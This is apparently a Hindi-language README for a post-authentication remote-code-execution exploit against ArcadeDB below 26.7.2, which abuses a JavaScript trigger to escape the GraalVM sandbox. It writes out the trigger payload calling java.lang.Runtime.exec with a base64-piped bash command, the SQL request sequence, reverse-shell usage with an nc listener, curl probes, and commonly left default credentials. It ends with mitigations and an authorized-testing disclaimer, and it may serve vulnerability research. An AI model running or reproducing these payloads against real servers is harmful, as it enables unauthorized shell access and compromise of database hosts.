
ArcadeDB के लिए पोस्ट-ऑथेंटिकेशन RCE एक्सप्लॉइट जो JavaScript ट्रिगर के माध्यम से GraalVM सैंडबॉक्स एस्केप करता है तथा HTTP API के ऊपर OS कमांड निष्पादित करता है — रिवर्स शेल या ब्लाइंड कमांड मोड के साथ।
प्रमाणीकरण के बाद ArcadeDB (एक Java मल्टी-मॉडल डेटाबेस) में, होस्ट क्लासेस तक पहुँचने वाले JAVASCRIPT ट्रिगर के माध्यम से रिमोट कोड निष्पादन।
ट्रिगर का GraalVM पॉलीग्लॉट इंजन एक होस्ट-क्लास अनुमति-सूची के साथ बनाया गया है जिसमें java.lang.* शामिल है (ScriptTriggerExecutor.setAllowedPackages), इसलिए एक ट्रिगर स्क्रिप्ट यह कॉल कर सकती है:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) इसे ब्लॉक नहीं करता — Runtime.exec एक होस्ट मेथड कॉल है जिसे HostAccess.ALL अनुमति देता है, न कि GraalVM का गेस्ट प्रोसेस API। ट्रिगर बनाने के लिए केवल UPDATE_SCHEMA अनुमति की आवश्यकता होती है (जो सीधे स्क्रिप्टिंग को नियंत्रित करने वाली UPDATE_SECURITY से कमज़ोर है), इसलिए root इसे कर सकता है — HTTP API पर एक प्रमाणीकरण-पश्चात RCE।
< 26.7.2 (0 – 26.7.1)26.7.2 (ट्रिगर अनुमति-सूची से java.lang.* हटाता है + प्रक्रिया/रिफ्लेक्शन/क्लासलोडर निषेध-सूची के साथ एक लिटरल HostClassLookupFilter जोड़ता है)2480 (HTTP API + Studio; Basic auth)सीधा
language:jsकमांड पथ वेक्टर नहीं है — इसमें कोई अनुमत पैकेज नहीं है (Java.typeब्लॉक है) और यहUPDATE_SECURITYके पीछे गेटेड है। केवल ट्रिगर एक्ज़ीक्यूटर हीjava.lang.*को हार्ड-कोड करता है।
केवल Python 3 मानक लाइब्रेरी — कोई निर्भरता नहीं। UPDATE_SCHEMA के साथ मान्य ArcadeDB क्रेडेंशियल्स (जैसे root)। ArcadeDB का कोई हार्ड-कोडेड डिफ़ॉल्ट पासवर्ड नहीं है, लेकिन इसकी अपनी docker-compose.yml उदाहरण क्रेडेंशियल root:playwithdata देती है, जो एक सामान्य क्रेडेंशियल है जिसे अक्सर वैसे ही छोड़ दिया जाता है।
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
तीन प्रमाणीकृत POST /api/v1/command/<db> अनुरोध (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — BEFORE CREATE ट्रिगर फायर होता है और JavaScript निष्पादित होती है।OS कमांड base64 में लपेटा जाता है, ताकि JavaScript/SQL/JSON परतों को नेस्टेड-कोट एस्केपिंग की आवश्यकता न पड़े, और स्क्रिप्ट waitFor() को छोड़ देती है ताकि exec तुरंत लौट आए (चाइल्ड प्रक्रिया चलती रहती है, अनुरोध ब्लॉक नहीं होता)।
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
ArcadeDB ≥ 26.7.2 में अपग्रेड करें, एक मज़बूत rootPassword सेट करें (कभी playwithdata नहीं), ArcadeDB को root के रूप में न चलाएँ, UPDATE_SCHEMA को प्रतिबंधित करें, और HTTP API/Studio को अविश्वसनीय नेटवर्क से दूर रखें।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टम्स के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।